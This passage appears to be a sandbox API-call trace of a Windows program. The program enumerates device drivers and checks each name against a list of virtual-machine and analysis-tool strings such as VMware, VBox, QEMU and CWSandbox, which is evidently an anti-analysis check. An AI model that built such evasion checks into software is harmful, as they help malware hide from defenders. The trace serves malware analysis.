[0279.171] lstrlenA (lpString="vmrawdsk") returned 8 [0279.171] StrStrIA (lpFirst="msisadrv", lpSrch="vmx_svga") returned 0x0 [0279.171] lstrlenA (lpString="vmx_svga") returned 8 [0279.171] StrStrIA (lpFirst="msisadrv", lpSrch="ansfltr") returned 0x0 [0279.171] lstrlenA (lpString="ansfltr") returned 7 [0279.171] StrStrIA (lpFirst="msisadrv", lpSrch="sbtisht") returned 0x0 [0279.171] lstrlenA (lpString="sbtisht") returned 7 [0279.171] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x23, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.171] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.182] GetLastError () returned 0x7a [0279.182] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x18, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.238] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="VMware Pointing") returned 0x0 [0279.238] lstrlenA (lpString="VMware Pointing") returned 15 [0279.238] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="VMware Accelerated") returned 0x0 [0279.238] lstrlenA (lpString="VMware Accelerated") returned 18 [0279.238] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="VMware SCSI") returned 0x0 [0279.238] lstrlenA (lpString="VMware SCSI") returned 11 [0279.238] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="VMware SVGA") returned 0x0 [0279.238] lstrlenA (lpString="VMware SVGA") returned 11 [0279.238] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="VMware Replay") returned 0x0 [0279.238] lstrlenA (lpString="VMware Replay") returned 13 [0279.238] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="VMware server memory") returned 0x0 [0279.238] lstrlenA (lpString="VMware server memory") returned 20 [0279.238] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="CWSandbox") returned 0x0 [0279.238] lstrlenA (lpString="CWSandbox") returned 9 [0279.238] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="Virtual HD") returned 0x0 [0279.238] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="QEMU") returned 0x0 [0279.238] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0279.238] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="srootkit") returned 0x0 [0279.239] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="VMware VMaudio") returned 0x0 [0279.239] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="VMware Vista") returned 0x0 [0279.239] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="VBoxVideo") returned 0x0 [0279.239] StrStrIA (lpFirst="PCI Express ??? ???????", lpSrch="VBoxGuest") returned 0x0 [0279.239] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.239] GetLastError () returned 0x7a [0279.239] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef8a8, PropertyBufferSize=0x4, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef8a8, RequiredSize=0x19fe7c) returned 1 [0279.239] StrStrIA (lpFirst="pci", lpSrch="vmxnet") returned 0x0 [0279.239] StrStrIA (lpFirst="pci", lpSrch="vmscsi") returned 0x0 [0279.240] StrStrIA (lpFirst="pci", lpSrch="VMAUDIO") returned 0x0 [0279.240] StrStrIA (lpFirst="pci", lpSrch="vmdebug") returned 0x0 [0279.240] StrStrIA (lpFirst="pci", lpSrch="vm3dmp") returned 0x0 [0279.240] StrStrIA (lpFirst="pci", lpSrch="vmrawdsk") returned 0x0 [0279.240] StrStrIA (lpFirst="pci", lpSrch="vmx_svga") returned 0x0 [0279.240] StrStrIA (lpFirst="pci", lpSrch="ansfltr") returned 0x0 [0279.240] StrStrIA (lpFirst="pci", lpSrch="sbtisht") returned 0x0 [0279.240] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x24, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.240] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.245] GetLastError () returned 0x7a [0279.245] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="VMware Pointing") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="VMware Accelerated") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="VMware SCSI") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="VMware SVGA") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="VMware Replay") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="VMware server memory") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="CWSandbox") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="Virtual HD") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="QEMU") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="Red Hat VirtIO") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="srootkit") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="VMware VMaudio") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="VMware Vista") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="VBoxVideo") returned 0x0 [0279.251] StrStrIA (lpFirst="?????????", lpSrch="VBoxGuest") returned 0x0 [0279.251] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.252] GetLastError () returned 0xd [0279.252] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x25, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.252] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.257] GetLastError () returned 0x7a [0279.258] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb58, PropertyBufferSize=0x6, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb58, RequiredSize=0x19fe7c) returned 1 [0279.262] StrStrIA (lpFirst="?????", lpSrch="VMware Pointing") returned 0x0 [0279.262] StrStrIA (lpFirst="?????", lpSrch="VMware Accelerated") returned 0x0 [0279.262] StrStrIA (lpFirst="?????", lpSrch="VMware SCSI") returned 0x0 [0279.262] StrStrIA (lpFirst="?????", lpSrch="VMware SVGA") returned 0x0 [0279.262] StrStrIA (lpFirst="?????", lpSrch="VMware Replay") returned 0x0 [0279.262] StrStrIA (lpFirst="?????", lpSrch="VMware server memory") returned 0x0 [0279.262] StrStrIA (lpFirst="?????", lpSrch="CWSandbox") returned 0x0 [0279.262] StrStrIA (lpFirst="?????", lpSrch="Virtual HD") returned 0x0 [0279.262] StrStrIA (lpFirst="?????", lpSrch="QEMU") returned 0x0 [0279.262] StrStrIA (lpFirst="?????", lpSrch="Red Hat VirtIO") returned 0x0 [0279.262] StrStrIA (lpFirst="?????", lpSrch="srootkit") returned 0x0 [0279.262] StrStrIA (lpFirst="?????", lpSrch="VMware VMaudio") returned 0x0 [0279.263] StrStrIA (lpFirst="?????", lpSrch="VMware Vista") returned 0x0 [0279.263] StrStrIA (lpFirst="?????", lpSrch="VBoxVideo") returned 0x0 [0279.263] StrStrIA (lpFirst="?????", lpSrch="VBoxGuest") returned 0x0 [0279.263] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.263] GetLastError () returned 0x7a [0279.263] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efab0, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efab0, RequiredSize=0x19fe7c) returned 1 [0279.263] StrStrIA (lpFirst="volume", lpSrch="vmxnet") returned 0x0 [0279.263] StrStrIA (lpFirst="volume", lpSrch="vmscsi") returned 0x0 [0279.263] StrStrIA (lpFirst="volume", lpSrch="VMAUDIO") returned 0x0 [0279.263] StrStrIA (lpFirst="volume", lpSrch="vmdebug") returned 0x0 [0279.263] StrStrIA (lpFirst="volume", lpSrch="vm3dmp") returned 0x0 [0279.264] StrStrIA (lpFirst="volume", lpSrch="vmrawdsk") returned 0x0 [0279.264] StrStrIA (lpFirst="volume", lpSrch="vmx_svga") returned 0x0 [0279.264] StrStrIA (lpFirst="volume", lpSrch="ansfltr") returned 0x0 [0279.264] StrStrIA (lpFirst="volume", lpSrch="sbtisht") returned 0x0 [0279.264] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x26, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.264] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.322] GetLastError () returned 0x7a [0279.323] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x20, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.327] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="VMware Pointing") returned 0x0 [0279.327] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="VMware Accelerated") returned 0x0 [0279.327] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="VMware SCSI") returned 0x0 [0279.327] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="VMware SVGA") returned 0x0 [0279.327] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="VMware Replay") returned 0x0 [0279.328] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="VMware server memory") returned 0x0 [0279.328] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="CWSandbox") returned 0x0 [0279.328] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="Virtual HD") returned 0x0 [0279.328] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="QEMU") returned 0x0 [0279.328] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="Red Hat VirtIO") returned 0x0 [0279.328] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="srootkit") returned 0x0 [0279.328] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="VMware VMaudio") returned 0x0 [0279.328] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="VMware Vista") returned 0x0 [0279.328] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="VBoxVideo") returned 0x0 [0279.328] StrStrIA (lpFirst="Microsoft ACPI-Compliant System", lpSrch="VBoxGuest") returned 0x0 [0279.328] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.328] GetLastError () returned 0x7a [0279.328] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb58, PropertyBufferSize=0x5, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb58, RequiredSize=0x19fe7c) returned 1 [0279.329] StrStrIA (lpFirst="ACPI", lpSrch="vmxnet") returned 0x0 [0279.329] StrStrIA (lpFirst="ACPI", lpSrch="vmscsi") returned 0x0 [0279.329] StrStrIA (lpFirst="ACPI", lpSrch="VMAUDIO") returned 0x0 [0279.329] StrStrIA (lpFirst="ACPI", lpSrch="vmdebug") returned 0x0 [0279.329] StrStrIA (lpFirst="ACPI", lpSrch="vm3dmp") returned 0x0 [0279.329] StrStrIA (lpFirst="ACPI", lpSrch="vmrawdsk") returned 0x0 [0279.329] StrStrIA (lpFirst="ACPI", lpSrch="vmx_svga") returned 0x0 [0279.329] StrStrIA (lpFirst="ACPI", lpSrch="ansfltr") returned 0x0 [0279.329] StrStrIA (lpFirst="ACPI", lpSrch="sbtisht") returned 0x0 [0279.329] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x27, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.329] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.330] GetLastError () returned 0xd [0279.330] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.330] GetLastError () returned 0xd [0279.330] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x28, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.330] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.381] GetLastError () returned 0x7a [0279.382] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x19, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.384] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Pointing") returned 0x0 [0279.384] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Accelerated") returned 0x0 [0279.384] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware SCSI") returned 0x0 [0279.384] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware SVGA") returned 0x0 [0279.384] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Replay") returned 0x0 [0279.384] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware server memory") returned 0x0 [0279.384] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="CWSandbox") returned 0x0 [0279.385] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="Virtual HD") returned 0x0 [0279.385] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="QEMU") returned 0x0 [0279.385] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="Red Hat VirtIO") returned 0x0 [0279.385] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="srootkit") returned 0x0 [0279.385] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware VMaudio") returned 0x0 [0279.385] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Vista") returned 0x0 [0279.385] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VBoxVideo") returned 0x0 [0279.385] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VBoxGuest") returned 0x0 [0279.385] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.385] GetLastError () returned 0x7a [0279.385] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xc, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.386] StrStrIA (lpFirst="BasicRender", lpSrch="vmxnet") returned 0x0 [0279.386] StrStrIA (lpFirst="BasicRender", lpSrch="vmscsi") returned 0x0 [0279.386] StrStrIA (lpFirst="BasicRender", lpSrch="VMAUDIO") returned 0x0 [0279.386] StrStrIA (lpFirst="BasicRender", lpSrch="vmdebug") returned 0x0 [0279.386] StrStrIA (lpFirst="BasicRender", lpSrch="vm3dmp") returned 0x0 [0279.386] StrStrIA (lpFirst="BasicRender", lpSrch="vmrawdsk") returned 0x0 [0279.386] StrStrIA (lpFirst="BasicRender", lpSrch="vmx_svga") returned 0x0 [0279.386] StrStrIA (lpFirst="BasicRender", lpSrch="ansfltr") returned 0x0 [0279.386] StrStrIA (lpFirst="BasicRender", lpSrch="sbtisht") returned 0x0 [0279.386] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x29, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.386] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.477] GetLastError () returned 0x7a [0279.477] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x3a, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.576] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="VMware Pointing") returned 0x0 [0279.576] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="VMware Accelerated") returned 0x0 [0279.576] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="VMware SCSI") returned 0x0 [0279.576] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="VMware SVGA") returned 0x0 [0279.576] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="VMware Replay") returned 0x0 [0279.576] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="VMware server memory") returned 0x0 [0279.576] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="CWSandbox") returned 0x0 [0279.576] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="Virtual HD") returned 0x0 [0279.577] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="QEMU") returned 0x0 [0279.577] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="Red Hat VirtIO") returned 0x0 [0279.577] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="srootkit") returned 0x0 [0279.577] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="VMware VMaudio") returned 0x0 [0279.577] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="VMware Vista") returned 0x0 [0279.577] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="VBoxVideo") returned 0x0 [0279.577] StrStrIA (lpFirst="Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C", lpSrch="VBoxGuest") returned 0x0 [0279.577] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.577] GetLastError () returned 0x7a [0279.578] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb70, PropertyBufferSize=0x8, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efb70, RequiredSize=0x19fe7c) returned 1 [0279.578] StrStrIA (lpFirst="usbehci", lpSrch="vmxnet") returned 0x0 [0279.578] StrStrIA (lpFirst="usbehci", lpSrch="vmscsi") returned 0x0 [0279.578] StrStrIA (lpFirst="usbehci", lpSrch="VMAUDIO") returned 0x0 [0279.578] StrStrIA (lpFirst="usbehci", lpSrch="vmdebug") returned 0x0 [0279.578] StrStrIA (lpFirst="usbehci", lpSrch="vm3dmp") returned 0x0 [0279.578] StrStrIA (lpFirst="usbehci", lpSrch="vmrawdsk") returned 0x0 [0279.578] StrStrIA (lpFirst="usbehci", lpSrch="vmx_svga") returned 0x0 [0279.578] StrStrIA (lpFirst="usbehci", lpSrch="ansfltr") returned 0x0 [0279.578] StrStrIA (lpFirst="usbehci", lpSrch="sbtisht") returned 0x0 [0279.579] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x2a, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.579] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.676] GetLastError () returned 0x7a [0279.676] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.784] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Pointing") returned 0x0 [0279.784] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Accelerated") returned 0x0 [0279.784] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware SCSI") returned 0x0 [0279.831] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware SVGA") returned 0x0 [0279.831] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Replay") returned 0x0 [0279.831] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware server memory") returned 0x0 [0279.831] StrStrIA (lpFirst="USB Root Hub", lpSrch="CWSandbox") returned 0x0 [0279.831] StrStrIA (lpFirst="USB Root Hub", lpSrch="Virtual HD") returned 0x0 [0279.832] StrStrIA (lpFirst="USB Root Hub", lpSrch="QEMU") returned 0x0 [0279.832] StrStrIA (lpFirst="USB Root Hub", lpSrch="Red Hat VirtIO") returned 0x0 [0279.832] StrStrIA (lpFirst="USB Root Hub", lpSrch="srootkit") returned 0x0 [0279.832] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware VMaudio") returned 0x0 [0279.832] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Vista") returned 0x0 [0279.832] StrStrIA (lpFirst="USB Root Hub", lpSrch="VBoxVideo") returned 0x0 [0279.832] StrStrIA (lpFirst="USB Root Hub", lpSrch="VBoxGuest") returned 0x0 [0279.832] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.832] GetLastError () returned 0x7a [0279.832] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efab0, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efab0, RequiredSize=0x19fe7c) returned 1 [0279.833] StrStrIA (lpFirst="usbhub", lpSrch="vmxnet") returned 0x0 [0279.833] StrStrIA (lpFirst="usbhub", lpSrch="vmscsi") returned 0x0 [0279.833] StrStrIA (lpFirst="usbhub", lpSrch="VMAUDIO") returned 0x0 [0279.833] StrStrIA (lpFirst="usbhub", lpSrch="vmdebug") returned 0x0 [0279.833] StrStrIA (lpFirst="usbhub", lpSrch="vm3dmp") returned 0x0 [0279.833] StrStrIA (lpFirst="usbhub", lpSrch="vmrawdsk") returned 0x0 [0279.833] StrStrIA (lpFirst="usbhub", lpSrch="vmx_svga") returned 0x0 [0279.833] StrStrIA (lpFirst="usbhub", lpSrch="ansfltr") returned 0x0 [0279.833] StrStrIA (lpFirst="usbhub", lpSrch="sbtisht") returned 0x0 [0279.833] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x2b, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.833] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.837] GetLastError () returned 0x7a [0279.837] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, 